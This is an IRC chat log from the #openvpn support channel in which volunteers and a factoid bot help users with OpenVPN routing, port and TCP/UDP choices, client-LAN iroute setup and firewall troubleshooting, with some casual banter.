15:13 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn
15:14 -!- mattock_afk is now known as mattock
15:17 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
15:30 -!- acu [~acu@172.56.13.171] has joined #openvpn
15:31 < acu> krzee gave me few nice hints - I lost them with the exception of !sample and !route can anyone tell me the others
15:32 <+pekster> acu: There are many of them (dozens and dozens.)
15:32 <+pekster> !factoids
15:32 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
15:33 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
15:39 < acu> pekster: thanks, - he gave me around 4 - they all were excellent, but I have them in another computer
15:41 -!- jefferai [~quassel@kde/mitchell] has quit [Ping timeout: 264 seconds]
15:43 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
15:45 -!- phreakocious [~phreakoci@aesoterica.phreakocious.net] has joined #openvpn
16:01 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
16:01 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
16:01 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
16:05 -!- Denial [Denial@2.223.161.125] has quit []
16:12 -!- acu [~acu@172.56.13.171] has quit [Ping timeout: 245 seconds]
16:12 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
16:16 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
16:18 -!- cjs226 [~cjs226@cpe-70-112-220-16.austin.res.rr.com] has quit []
16:27 -!- master_of_master [~master_of@p4FD7B443.dip0.t-ipconnect.de] has joined #openvpn
16:30 -!- master_o1_master [~master_of@p4FD7BD80.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
16:41 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Quit: Konversation terminated!]
16:43 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
16:47 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
16:47 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
16:47 -!- AginLap [~AginLap@109.201.154.152] has joined #openvpn
16:49 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
16:49 -!- mode/#openvpn [+o dazo_afk] by ChanServ
16:49 -!- dazo_afk is now known as dazo
16:50 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Client Quit]
16:54 -!- mmikeym [~mikeym@184.70.65.118] has joined #openvpn
16:56 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
16:57 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:07 -!- bytesaber [~bytesaber@174-126-75-160.cpe.cableone.net] has joined #openvpn
17:07 < bytesaber> can openvpn server just bind to a single interface?   like eth1 only?   i'm on a dynamic internet service.
17:10 <+pekster> bytesaber: See --local. You bind to addresses, not interfaces
17:29 -!- trumee [~parul@185.11.37.247] has quit [Ping timeout: 260 seconds]
17:30 -!- trumee [~parul@149.12.5.187] has joined #openvpn
17:32 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
17:32 < bytesaber> i know
17:33 < bytesaber> but i can't predict my external IP at all times
17:33 < bytesaber> dynamic
17:33 < bytesaber> besides, i see no reason to have it listening on my other interfaces
17:35 -!- AginLap [~AginLap@109.201.154.152] has quit [Quit: Leaving]
17:38 < fenris_kcf> hy. i'm trying to establish a VPN, where my machine is both server and client. generally it seems to work, but after connecting to the VPN, my route-configuration seems to be messed up, so that i can't access the normal local net, through which internet-access is provided. i know that i have to add a static route into the router for my VPN. unfortunatelly the router has no option for that :/. but i don't think that this is the reason for 
17:40 <+pekster> bytesaber: Sockets don't listen to interfaces
17:41 <+pekster> Unless you want to restart OpenVPN every time your IP changes, use the wildcard address to bind to (which is the default behaviour)
17:42 <+pekster> fenris_kcf: You got cut off; you generally shouldn't run a client instance that's connecting to a server instance running on the same host (though maybe I misunderstood what you're doing)
17:43 < fenris_kcf> pekster: it seems the problem also occurs on clients different from the server
17:43 < fenris_kcf> so i guess it's a configuration problem
17:44 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
17:44 < mapps> hi
17:44 < fenris_kcf> bonan vesperon
17:54 -!- heraclitus [~halcyon@174.34.225.5] has joined #openvpn
17:54 -!- heraclitus [~halcyon@174.34.225.5] has quit [Changing host]
17:54 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
17:54 < heraclitus> -noroute
17:54 < heraclitus> !noroute
17:54 < heraclitus> !route
17:54 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or
17:54 <@vpnHelper> client
17:55 < heraclitus> !help
17:55 <@vpnHelper> (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
17:55 < heraclitus> !help route
17:55 <@vpnHelper> Error: There is no command "route".
17:55 < heraclitus> !list
17:55 <@vpnHelper> Admin, BadWords, Channel, ChannelLogger, Config, Factoids, FloodPrevent, Google, Misc, Owner, Relay, Seen, Services, User, Weather, and Web
17:56 < heraclitus> !clientlan
17:56 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
17:56 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
17:56 < heraclitus> !route_outside_openvpn
17:56 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
18:06 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
18:07 -!- netento [~netento@50-196-14-1-static.hfc.comcastbusiness.net] has joined #openvpn
18:07 < netento> !welcome
18:07 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
18:07 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
18:08 < netento> !goal
18:08 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
18:09 < heraclitus> :)
18:10 < netento> I'm trying to set up a VPN server that can accept multiple clients who are all configured to connect over port 443. The clients need to connect over 443 to escape a firewall. I am open to various ways of what I would call "load-balancing" the VPN.
18:11 < netento> And please tell me if I was supposed to use welcome and goal some other way. I haven't used IRC in a few years. :)
18:11 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
18:13 <+pekster> netento: So run a server on tcp port 443 and you're done
18:14 < heraclitus> ^ that was going to be my solution
18:14 <+pekster> If you want to load-balance, do so in the traditional way, generally with a NAT frontend load balancer that either blindly does a round-robin style NAT, or bases the "next target" on factors you control more programatically
18:14 <+pekster> (CPU, bandwidth, phase of the moon, etc)
18:15 < netento> Oh. I've seen all these examples showing multiple instances on port 8000,8001,8002 etc. I guess I assumed it was a one-client-per-port arrangement. That could be why I couldn't find an answer :)
18:15 <+pekster> OpenVPN run as a "server" accepts multiple connections (also known as "Peer to Multi-Peer", or "P2MP" mode)
18:15 <+pekster> Read --mode for details, and the !howto that walks you through such a setup
18:16 < netento> Thank you!
18:17 < heraclitus> :)
18:25 < heraclitus> is it possible to uncomment both 443 and 1194, and have the same server listen on both ports?
18:25 < heraclitus> or would I have to have a separate config for each?
18:26 <+pekster> heraclitus: openvpn only listens on a single port, but you can "fake" it by a NAT target that eats as many ports on the frontend as you want. However, use of tcp and udp require unique instances (with their own unique network in tun mode)
18:27 <+pekster> Normally you want to avoid TCP (see !tcp) unless you need it, so it's not uncommon to run 2 instances, one for each
18:27 < heraclitus> !tcp
18:27 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
18:28 < heraclitus> I forsee some of my clients having issues behind a firewall with port 1194 (I already have, at a library)
18:28 < heraclitus> so,I want to configure another daemon to listen on 443
18:28 <+pekster> Yes, but without qualification we don't know if this is tcp or udp (they're separte protocols)
18:29 <+pekster> 443 is "traditionally" used as the https port over tcp, and 1194 "traditionally" as openvpn via udp
18:29 < heraclitus> Yus, but for VPN, 443 can be UDP, right?
18:29 <+pekster> Firewalls that are strict won't be fooled
18:29 <+pekster> UDP is not TCP.
18:29 <+pekster> Firewalls with DPI won't be fooled anyway becuase it knows that openvpn traffic does not look like https traffic
18:30 < heraclitus> Okay, so it'd be best to have 443 be tcp
18:30 < heraclitus> right, openvpn is very distinguishable
18:30 <+pekster> Yes, and you'd need that to be a separate instance than any instance listening to a udp port
18:30 < heraclitus> that sounds reasonable
18:30 < heraclitus> :)
18:31 <+pekster> Right. OpenVPN makes no attempt to hide itself, although you can use --secret to turn it into a stateless stream of "random" traffic with the security pitfalls in !statickey. If you want to "hide" openvpn in something else, you want !obfsproxy
18:31 < netento> pekster: any functional solutions for the DPI problem? something that obfuscates the link to make it look https-ey?
18:31 < netento> Ah you read my mind.
18:31 <+pekster> netento: See above. obfsproxy in particular if statickey isn't what you want
18:31 <+pekster> It's not openvpn's job to pretend to be something else, but in classic Unix tradition there are tools to help you do it
18:32 < netento> Unix is the Wonder Pets of operating systems -- "What's gonna work? Teeeeaammmwork!"
18:33 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
18:33 -!- mode/#openvpn [+v s7r] by ChanServ
18:36 -!- fenris_kcf is now known as debiano
18:39 -!- debiano is now known as fenris_kcf
18:48 -!- debbie10t [~ma1com10t@host-92-20-86-80.as13285.net] has joined #openvpn
18:48 -!- mode/#openvpn [+o debbie10t] by ChanServ
18:51 <@debbie10t> FYI: I seem to have discovered a fairly wild bug in juniper networks OS on NS5
18:52 <@debbie10t> due to unresolved timouts i can keep an incomming connection open even though the server and router believe it is closed
18:53 <@debbie10t> on udp
18:54 <@debbie10t> i reported it to a collegue who has replicated the exact same thing
18:54 <@debbie10t> even if the server is taken offline the client can keep a udp port open indefinitely
18:54 <+pekster> That obviously won't apply to IPv4 NAT since by definition inbound connections that reach globally-unroutable clients require a stateful firewall (exceptions for hole punching of course)
18:54 <@debbie10t> lol
18:55 <@debbie10t> i can keep the connection open indefinitely and the server will respond if online
18:56 <@debbie10t> and the server cannot initiate even a ping
18:56 -!- bytesaber [~bytesaber@174-126-75-160.cpe.cableone.net] has quit [Ping timeout: 272 seconds]
18:56 -!- mattsl [~user@c-71-203-216-195.hsd1.tn.comcast.net] has joined #openvpn
18:57 <@debbie10t> that is with the minimum timeout of 1 minute
18:57 <@debbie10t> nat is in effect
18:58 < mattsl> I'm trying to set up a site-to-site OpenVPN  tunnel with a local DD-WRT router and a remote pfSense router, but when traffic from the DD-WRT LAN reaches pfsense it never makes it into the opvns1 interface.
18:58 <+pekster> Then obviously the router doesn't "believe it's closed" or the state entry would be gone
18:58 <+pekster> NAT requires tracking of connection state
18:59 < mattsl> I can ping from the ddwrt client to the pfsense server and from the ddwrt to any devices on the server-side LAN, but I can't connect from the client-side LAN to the server or it's LAN
18:59 < mattsl> Any thoughts?
19:00 <+pekster> mattsl: !clientlan for info/flowchart for connecting to a client-side LAN over the likn
19:00 < mattsl> !clientlan
19:00 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
19:00 <@debbie10t> @pekster - that is the point - even with the policy disabled AND the port forward removed openvpn is still able to traverse inwardly
19:00 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
19:01 <@debbie10t> this is a juniper bug of the highest oreder
19:01 <+pekster> debbie10t: I'm saying you supplied a false statement: by _definition_ a NAT router cannot both not have a NAT state and have one to pass traffic to an RFC1918 downstream client
19:01 <@debbie10t> short of rebooting the router i casnnot stop the incoming traffic
19:01 < mattsl> !ccd
19:01 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
19:01 <+pekster> The switch cannot both be on and off (this isn't a quantum physics classroom)
19:01 <+pekster> And this is also off-topic in #openvpn
19:01 <+pekster> (I'd care less if there weren't people trying to get help)
19:01 <@debbie10t> sorry
19:02 <@debbie10t> point taken
19:02 -!- bytesaber [~bytesaber@174-126-75-160.cpe.cableone.net] has joined #openvpn
19:02 < mattsl> pekster: I don't think it's a server to client routing issue. If I tcpdump on the ovpn interface on the server, the packets don't even show up.
19:03 <+pekster> The flowchart can confirm what your issue is
19:03 < mattsl> pekster: but I can see the encapsulated packets coming in on the server's WAN interface
19:03 < mattsl> ok
19:03 <+pekster> If you don't think that info is worthwhile, did you already follow the chart and confirm the issue is a firewall? :)
19:03 <+pekster> If you did, you should probably be fixing your firewall (where I suspect the issue is) but jumping to conclusions would skip a possible earlier fault in your setup
19:04 <+pekster> But yea, if you see the packets on the physical link, it sounds very much like a firewall isn't accepting them there
19:04 < mattsl> I'll double check my iroute. My thought was also the firewall on the pfsense (server), but it still doesn't work when I completely disable the firewall
19:04 <+pekster> mattsl: Consider using `--verb 5` which prints RWrw chacacters for every packet sent/received
19:04 < mattsl> Maybe that's not helping because then it's killing the forwarding that it DOES need?
19:05 <+pekster> I've no clue how pfSense does "turn off the firewall" -- many embedded (aka "do it for you without telling you what it's doing") distros like to do that
19:05 <+pekster> Erm, like to bundle NAT and the firewall, though you shouldn't need NAT if you're routing properly
19:07 <+pekster> Almost sounds like IP forwarding isn't enabled, but I thought that was kind of a basic thing pfSense was supposed to do. At any rate,the flowchart tells you exactly what the issue is
19:07 < mattsl> Right. But I can ping devices on the server LAN from the client, just not from the LAN behind the client
19:07 < mattsl> I need to figure out the iroute. If that doesn't fix it I'll be back. Thanks
19:07 <+pekster> flowchart.
19:12 <+pekster> debbie10t: btw, thanks for moving some of the clearly miscategorized forum stuff around. There hasn't been all that much recent non-FOSS (AS, etc) stuff in the community forums, but I've moved a couple of them over (without redirect links) and sent the poster a message if I see it. That way it doesn't clog up the community forums with confusing non-free product discussion and confuse other users
19:12 <@debbie10t> @pekster : my pleasure ;)
19:12 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 272 seconds]
19:13 <@debbie10t> i have been learning a lot .. didnt want to tread on toes and now starting to get a real beed on it .. JoshC is uber cool
19:14 <@debbie10t> actually all the mods are cool
19:14 <@debbie10t> i am such a damm noob
19:14 <@debbie10t> still .. thank you very much for your feedback
19:16 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
19:16 -!- xeqution [~z6@unaffiliated/z6] has joined #openvpn
19:16 <+pekster> I'm going to see if it's possible to plan a split for the corp vs community forums. There's not even an appropriate corp forum for stuff like this: https://forums.openvpn.net/topic13738.html
19:16 <@vpnHelper> Title: OpenVPN Support Forum Can't uninstall! : Installation Help (at forums.openvpn.net)
19:16 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
19:17 <+pekster> I figured if the OP cares enough they'll just re-post of do what they should have done in the first place and go email/call the company they purchased service from (but I'm not wasting time trying to figure it out)
19:17 <+pekster> I don't really like locking forums, but I also don't like "help uninstall broken" crap on the community forum, becuase _our_ uninstaller works very well
19:18 < xeqution> Hello, I am having a problem with push routes - I have about 5 push routes in my server.conf file, however 1 of them doesn't work.  The push route that doesn't work is the route which goes directly back to the OpenVPN server IP.
19:18 <+pekster> xeqution: You mean a route for traffic bound for the remote IP the client is connecting to? If so, that won't ever work
19:19 <@debbie10t> agreed .. but i think some people belive they paid for it and so they should get full support .. i only dabbled a little with AS cos i could see right away something fishy was going on
19:19 < xeqution> Correct, so lets say the OpenVPN server is on 1.1.1.1
19:19 < xeqution> I am attempting to push traffic to the client to 1.1.1.0 255.255.255.0
19:20 <+pekster> You can't do that without first pushing a route for thte openvpn server via the pre-existing link (see the net_gateway macro in the --route manpage description)
19:20 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
19:20 < netento> pekster: how can I buy you a beer?
19:20 < xeqution> pekster: will read now.
19:20 < xeqution> Thanky ou.
19:21 <@debbie10t> !beer
19:21 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
19:21 < xeqution> Thank you*
19:21 <@ecrist> debbie10t: FYI, pekster is JoshC
19:21 <@debbie10t> my hero :)
19:22 <@debbie10t> sorry .. dont mean to gush
19:22 <@debbie10t> hey eric :)
19:22 <+pekster> Not to worry, I'll leave plenty for you (quite frankly I'm only interested in fighting specific problems, but that's sort of how FOSS works anyway.) That said, nothing like a good bugreport to pique my interest sometimes
19:23 <+pekster> I'm sort of hoping the polarssl 1.3.x bug gets filed. It's not interesting to work on a problem no one seems to care about -- what good is fixing it?! :P
19:23 <@debbie10t> clearly JC you love the challenge .. and good for u
19:24 <@ecrist> pekster: honestly, I'd be surprised if the polarssl or the openvpn-zg or whatever folks weren't already on it
19:24 < mattsl> pekster: I added the iroute and as we suspected it didn't fix it. Based on the issue I'm having do you have a suggestion on which router's IP forwarding is broken?
19:24 <+pekster> mattsl: firewall or IP forawrding. What did you learn from carefully following that flowchart?
19:25 < xeqution> pekster: you were spot on.
19:25 < mattsl> pekster: IP forwarding.
19:26 <@ecrist> pekster: I had some windows build/install issues reported to me yesterday
19:26 < mattsl> pekster: I can ping from the client to anywhere on the server-side LAN, but the server can't ping even the client router IP.
19:26 <+pekster> Well, I'm pretty sure polarssl is completely broken if you enable ZLIB support (I need to file a bug upstream with them I think)
19:26 <@ecrist> was going to look at them now.  The claim is our latest version of easy-rsa doesn't ship an openssl binary
19:26 <+pekster> ecrist: Right, it doesn't, by design. OpenVPN does though, and they should be installing it there
19:27 <+pekster> That, or getting openssl from f.ex https://www.openssl.org/related/binaries.html
19:27 <@vpnHelper> Title: OpenSSL: OpenSSL Binary Distributions (at www.openssl.org)
19:27 <@ecrist> yeah, I think we should detect and include it if it isn't installed
19:28 < mattsl> pekster: And traffic from the client-side LAN (other than the actual client router itself), can't ping the server. (VPN or LAN IPs). I can see the traffic from the client-side LAN make it to the WAN interface on the server, but it is never passed to the VPN interface
19:28 <@ecrist> ideally, your CA structure isn't available on your openvpn server, so by deployment best practicies, there's a good chance openvpn hasn't been installed on the easy-rsa machine
19:33 < netento> I am loadbalancing openvpn servers across cloud providers (aws, rackspace, linode), more for high availability than a real need to loadbalance. NAT won't work for this. LVS/ipvsadm the best option? Anything else I should be looking at?
19:33 <@debbie10t> I followed the ethernet-bridging for linux and found i had to manually add a default route
19:33 <@debbie10t> wasnt in the the howto
19:34 <@debbie10t> <- noob
19:34 <@ecrist> debbie10t: if you're bridging an interface, you should already have an operational network.
19:34 <@ecrist> !101
19:35 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
19:36 <@debbie10t> ok .. i will double check
19:36 <@debbie10t> triple check infact
19:50 <@EugeneKay> wtf would cause "failed to occur within 60 seconds" besides the usual - certs are valid, dates match, HMAC is the same(and right direction in use on either end), no firewalling....
19:51 <@EugeneKay> The client EVENTUALLY gets a packet back from the server, and EKU stuff passes.
19:51 <@EugeneKay> Maybe it's just Comcast fucking me over?
19:51 <@ecrist> could be
19:51 <@ecrist> you're QoS'd to 0
19:51 <@EugeneKay> Because UDP?
19:54 <@ecrist> fuck you, that's why
19:54 <@debbie10t> i lol
19:54 <@ecrist> *shrug*  the comcast network does odd things, for sure
19:54 <@EugeneKay> I figured that was gonna be it :-|
19:54 <@EugeneKay> I don't really wanna TCP this shit
19:55 <@EugeneKay> TCP Connectivity to the host is fine - I'm talking to you on IRC through it
19:55 <@debbie10t> what port .. presuming udp
19:56 <@EugeneKay> 1194, same as everything else
19:56 <@EugeneKay> It worked fine up until an hour ago, and all of my other links are fine.
19:56 <@EugeneKay> It's just annoying as fuck that my laptop can't get in to the network from the GF's house.
19:58 <@ecrist> EugeneKay: for what it's worth, I run openvpn on comcast without a problem, but it's a business class connection
19:58 <@EugeneKay> Yeah, this is evening hours in a residential zone
19:58 <@EugeneKay> Betting I'm just QoSed to shit now
19:59 <@EugeneKay> Speedtest goes great - 50/20mbit, because of course they QoS those IP blocks special
20:00 -!- mmikeym [~mikeym@184.70.65.118] has quit [Ping timeout: 245 seconds]
20:01 <+pekster> UDP 123 is a fun port if QoS is done on mostly/entierly ports ;)
20:01 <@ecrist> heh
20:02 <@EugeneKay> Yeah, except I'm also running NTP on this server :-p
20:02 <+pekster> Psh, just move it to 124!
20:02 <+pekster> Hold My Beer And Watch This
20:03 <@debbie10t> holding .. ;S
20:04 <@EugeneKay> Worth a shot. Let's see what happens
20:04 <+pekster> (oh, I meant NTP to 124, but sure, maybe !1194 will do something useful)
20:06 <@EugeneKay> ntppool.,org would bitch ;-)
20:07 <@EugeneKay> Actually, I could do -s filtering on iptables. Hrm.
20:08 <@EugeneKay> .....hey, I have v6 from COmcast. I wonder.....
20:09 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
20:10 <+pekster> I could get AICCU on the laptop so I can connect back in via IPv6
20:11 <@EugeneKay> Yup, and of course it works fine via v6.
20:11 <@EugeneKay> Fuck you, Comcast.
20:12 -!- mattsl [~user@c-71-203-216-195.hsd1.tn.comcast.net] has quit [Quit: Leaving.]
20:13 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:15 <@debbie10t> !eugenekay
20:15 <@vpnHelper> "eugenekay" is right because EugeneKay is always right.
20:15 <@debbie10t> ha ha ha .. just had to do it once
20:16 <@EugeneKay> If I can be bothered to get OSPF running properly it'd just route around this sort of shit
20:16 <@EugeneKay> But that's even more effort
20:17 <@debbie10t> you know what coming ;)
20:17 <@debbie10t> !blame
20:17 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault or (#2) According to krzee, it's always dazo's fault or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments or (#4) cron2 says its always d12fk's fault (and sometimes the customers)
20:20 -!- netento [~netento@50-196-14-1-static.hfc.comcastbusiness.net] has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
20:31 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
20:32 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:37 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
20:40 <@debbie10t> nuff said .. ns5gt is still dumb .. but cisco block ovpn apparently .. gtgtbed
20:43 -!- debbie10t [~ma1com10t@host-92-20-86-80.as13285.net] has left #openvpn []
21:12 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 260 seconds]
21:13 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
21:27 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:31 -!- bjonnh [~Bjonnh@unaffiliated/bjonnh] has joined #openvpn
21:35 < bjonnh> Hi
21:36 <@ecrist> hola
21:36 < bjonnh> My university provides me an OpenVPN access (that is to say I don't have access to server logs or config). And I can't get through it (Linux machine). Seems that the connection is good (at least the auth part), it sets the routes, I can ping the gateway itself but not access at the ip ranges routed. I have firewall disabled in my client (completely).
21:37 < bjonnh> (just a second for the files, I anonymize them)
21:38 < bjonnh> config: http://bjonnh.net/share/bjonnh.ovpn
21:43 <@ecrist> generally, we can't help you with a server you don't administer yourself
21:43 <@ecrist> you'll need to talk to someone at the university
21:50 < bjonnh> http://bjonnh.net/share/bjonnh_openvpn.log
21:50 < bjonnh> here is the log of the openvpn on my side
21:50 < bjonnh> for sure, but people are using this vpn, so I should probably miss something on my side
21:50 < bjonnh> and I'm pretty sure this is a stupid thing
21:51 < bjonnh> a missing module or something
21:52 < bjonnh> especially when I do a ping I get this: From 172.23.0.1 icmp_seq=1 Destination Net Unreachable
21:53 <+pekster> Sounds like a firewall at the remote end denying you
21:53 < pppingme> bjonnh thats saying 172.23.0.1 doesn't know how to reach what you're going after
21:53 <+pekster> Best talk to yoru admin, becuase that means you are routing over the VPN, so OpenVPN "is working fine" here
21:53 < pppingme> thats more likely lack of a route, but could be firewall
21:53 < bjonnh> iptable -L is only accept on my side
21:53 < bjonnh> ok so maybe they have a route missing on their side…
21:53 < bjonnh> too bad
21:56 <@ecrist> verb 5 in your log might help
22:00 -!- acu [~acu@107.128.131.129] has joined #openvpn
22:00 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:01 <+pekster> Nah, if that reply comes back from attempting to ping a remote system, the route across the VPN is grand. Obviously your firewall rules at your end don't say anything about the remote end, where the problem is
22:01 < bjonnh> trying that
22:01 <+pekster> If you don't control that end, go find who does
22:02 < bjonnh> hmm maybe they have issues, the server2 is down
22:04 < bjonnh> ecrist: I get some rWrrRW stuff when pinging
22:05 <+pekster> Packets to the VPN peer aren't the problem; it's that you get ICMP errors from the server saying "I can't send your data to the network you asked for"
22:05 <+pekster> !both
22:05 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
22:05 < bjonnh> ok
22:05 < bjonnh> thanks
22:07 < acu> pekster and all - still need few factoids about openVPN
22:08 < acu> krzee, have given me five - they were excellent - but they are in a different computer
22:09 <+pekster> acu: I gave you the entire list of them before. I suggest you go use that link instead of continuing to pester me
22:09 <+pekster> (if you need them again, the URL is at !factoids)
22:10 < acu> I have a MasterLAN which has important samba file server - and some SecondaryLAN which clients need to access some excell files in the MasterLAN - I wonder if there is any simple tutorial how to do it - I use debian wheezy 7.0 amd64
22:10 < acu> !factoids
22:10 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
22:11 <@ecrist> :)
22:11 <+pekster> Start with !howto, then when you have a basic working VPN, do each of these to expose the LANs (do 1 at a time): !serverlan and !clientlan
22:12 <@ecrist> I've been thinking of writing an openvpn log parser and upload script
22:12 <@ecrist> on SCN
22:12 < acu> pekster: thanks, no intention at all to "pester" you :) It seem I got scared and confused when I have seen it first - it seem that I should take it more slowly
22:12 <@ecrist> do some log highlight, etc
22:12 < acu> ecrist: OK, you are completing the list - thanks that was it
22:12 < acu> !serverlan
22:12 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
22:12 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
22:13 < acu> !clientlan
22:13 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
22:13 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
22:13 < acu> awesome :)
22:13 < acu> !route
22:13 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or client
22:13 < acu> !sample
22:13 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
22:13 <+pekster> Vauge questions are not likely to get you good results. You'll notice you got more useful info when you defined your goals. http://catb.org/~esr/faqs/smart-questions.html#explicit
